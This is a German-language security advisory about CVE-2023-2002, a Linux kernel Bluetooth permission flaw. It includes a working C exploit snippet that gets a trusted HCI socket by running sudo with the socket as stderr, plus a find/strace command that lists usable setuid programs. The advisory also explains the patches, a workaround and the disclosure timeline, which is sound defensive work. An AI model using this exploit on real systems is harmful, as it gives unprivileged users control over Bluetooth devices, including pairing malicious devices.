
Linux Bluetooth – Beliebige Verwaltungsbefehle als unprivilegierter Benutzer ausführen
Im Bluetooth-Subsystem des Linux-Kernels wurde eine unzureichende Berechtigungsprüfung bei der Verarbeitung von ioctl-Systemaufrufen von HCI-Sockets gefunden. Dies führt dazu, dass Tasks ohne die entsprechende CAP_NET_ADMIN-Capability HCI-Sockets problemlos als trusted markieren können. Trusted-Sockets sollen das Senden und Empfangen von Verwaltungsbefehlen und -ereignissen ermöglichen, wie etwa das Pairing oder die Verbindung mit einem neuen Gerät. Infolgedessen können unprivilegierte Benutzer einen Trusted-Socket erlangen, was zur unbefugten Ausführung von Verwaltungsbefehlen führt. Der Exploit erfordert lediglich das Vorhandensein einer Reihe häufig verwendeter setuid-Programme (z. B. su, sudo).
Die direkte Ursache der Schwachstelle ist der folgende Codeausschnitt:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
Die Implementierung eines ioctl-Systemaufrufs prüft, ob die den Aufruf ausführende Task über die erforderliche CAP_NET_ADMIN-Capability verfügt, um das HCI_SOCK_TRUSTED-Flag zu aktualisieren. Diese Prüfung berücksichtigt jedoch nur die aufrufende Task, bei der es sich nicht unbedingt um den Socket-Öffner handeln muss. So kann der Socket beispielsweise über fork und execve mit einer anderen Task geteilt werden, wobei die letztere Task privilegiert sein kann, etwa ein setuid-Programm. Wenn der Socket außerdem als stdout oder stderr verwendet wird, wird ein ioctl-Aufruf durchgeführt, um tty-Parameter zu ermitteln, was sich mit dem strace-Befehl überprüfen lässt.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
Die ioctl-Aufrufe für tty-Parameter werden auf HCI-Sockets niemals erfolgreich sein, aber sie genügen, um HCI-Sockets als trusted zu markieren. Daher kann ein unprivilegiertes Programm Trusted-HCI-Sockets halten, wodurch es Verwaltungsbefehle und -ereignisse senden und empfangen kann, da das Trusted-Flag niemals gelöscht wird.
Die Ausnutzung kann so einfach wie folgt aussehen:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
Darüber hinaus kann btmon verwendet werden, um zu bestätigen, dass der Socket als trusted markiert wird und nachfolgende Verwaltungsbefehle erfolgreich ausgeführt werden:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Ein vollständiger PoC-Exploit zur Änderung des Energiezustands von Bluetooth-Geräten findet sich auf GitHub.
Bei erfolgreicher Ausnutzung kann die identifizierte Schwachstelle die Vertraulichkeit, Integrität und Verfügbarkeit der Bluetooth-Kommunikation beeinträchtigen. Angreifer können diese Schwachstelle ausnutzen, um den Controller mit bösartigen Geräten zu paaren, selbst wenn der Bluetooth-Dienst deaktiviert oder nicht installiert ist. Es ist außerdem möglich, das Pairing bestimmter Geräte zu verhindern oder vertrauliche Informationen wie die OOB-Daten auszulesen.
Die ausnutzbare Schwachstelle ist seit v4.9 im Linux-Kernel vorhanden. Genauer gesagt wird sie nach dem Commit f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets") ausnutzbar. Vor diesem Commit erforderte die Ausnutzung der Schwachstelle, ein privilegiertes Programm dazu zu bringen, einen HCI-Socket zu binden, was in der Praxis nur sehr schwer (wenn nicht unmöglich) auszulösen ist. Nach dem Commit hingegen genügt es, ein privilegiertes Programm dazu zu bringen, einen ioctl-Systemaufruf auszuführen, was lediglich die Existenz eines setuid-Programms voraussetzt, wie oben dargestellt.
Die Ausnutzung funktioniert, solange es setuid-Programme gibt (oder genauer gesagt, Programme mit der CAP_NET_ADMIN-Capability), die ioctl-Aufrufe auf stdin, stdout oder stderr ausführen. In den meisten Linux-Distributionen zeigt ein schneller (aber sehr grober) Test, dass etliche setuid-Programme ioctl-Systemaufrufe verwenden, die in der folgenden Tabelle mit 'V' markiert sind:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
Nach manueller Prüfung der strace-Ausgabe zeigt sich, dass alle diese ioctl-Nutzer ioctl-Aufrufe auf stdin, stdout oder stderr verwenden, um bestimmte tty-Parameter zu lesen oder zu setzen. Beachten Sie, dass diesen setuid-Programmen keinerlei Argumente übergeben werden. Wenn manipulierte Argumente übergeben werden, könnte die Zahl der ioctl-Nutzer steigen. Infolgedessen kann eine Reihe von Linux-Distributionen anfällig für die Ausnutzung sein.
Am Rande sei angemerkt, dass Android-Geräte jedoch wahrscheinlich nicht betroffen sind, da die Ausnutzung die Existenz von setuid-Programmen voraussetzt, deren Verwendung Android seit einiger Zeit vermieden hat. Außerdem gibt es auf Android keine Anwendungen mit der CAP_NET_ADMIN-Capability.
Ein Patch wurde an die linux-bluetooth-Mailingliste geschickt, der diese Schwachstelle behebt, indem capable() durch sk_capable() ersetzt wird. sk_capable() prüft dabei nicht nur die aktuelle Task, sondern auch, ob der Socket-Öffner über die erforderliche Capability verfügt. Gleichzeitig härtet ein weiterer eingereichter Patch die ioctl-Verarbeitungslogik, indem die Gültigkeit des Befehls zu Beginn von hci_sock_ioctl() geprüft wird und bei ungültigem Befehl sofort ein ENOIOCTLCMD-Fehlercode zurückgegeben wird, bevor irgendetwas anderes ausgeführt wird.
Als Workaround können die Geräte, falls die Bluetooth-Geräte überhaupt nicht verwendet werden (ein physisches Entfernen des Geräts aber nicht möglich ist), einfach mit rfkill blockiert werden, wodurch verhindert wird, dass die Geräte eingeschaltet werden. Auf diese Weise schlagen Verwaltungsbefehle zum Einschalten von Bluetooth-Geräten fehl. Dies kann die Auswirkungen dieser Schwachstelle erheblich reduzieren.
Es gibt zwei Möglichkeiten, ähnliche Schwachstellen in Zukunft zu vermeiden: die Härtung des Linux-Kernels und die Härtung von setuid-Programmen im Userspace.
Diese Schwachstelle beruht auf exakt demselben Prinzip wie CVE-2014-0181. Im Fall von CVE-2014-0181 bestand das Problem im Fehlen eines Mechanismus zur Autorisierung von Netlink-Operationen auf der Grundlage des Socket-Öffners, was lokalen Benutzern erlaubte, Netzwerkkonfigurationen zu ändern, indem sie einen Netlink-Socket als stdout oder stderr eines setuid-Programms verwendeten.
2023-04-04: Ich habe diese Schwachstelle während meines Audits des Bluetooth-Protokollstapels im Linux-Kernel entdeckt.
2023-04-09: Ich habe diese Schwachstelle mit einer ersten Version von Patches an das Linux-Kernel-Sicherheitsteam und die Distributionsanbieter gemeldet.
2023-04-12: Dieser Schwachstelle wurde eine CVE-ID zugewiesen, nämlich CVE-2023-2002.
2023-04-13: Nach mehrtägiger Diskussion mit den Maintainern wurden die Patches entsprechend aktualisiert.
2023-04-16: Die Schwachstelle wurde auf der öffentlichen oss-security-Mailingliste und auf GitHub (hier) offengelegt. Zwei Patches wurden an die öffentliche linux-bluetooth-Mailingliste geschickt (erster, zweiter).
2023-05-01: Der Fix ist in den Mainline-Kernel gelangt (im Rahmen des v6.4-Merge-Fensters) sowie in v6.3.1, v6.2.14, v6.1.27 und v5.15.110. Er wurde außerdem für die nächste stabile Veröffentlichung der Kernel v5.10, v5.4, v4.19 und v4.14 eingereiht.
2023-05-17: Schließlich ist der Fix in allen stabilen Kernels gelandet. Konkret wurde er auch auf die Kernel v5.10.180, v5.4.243, v4.19.283 und v4.14.315 angewendet.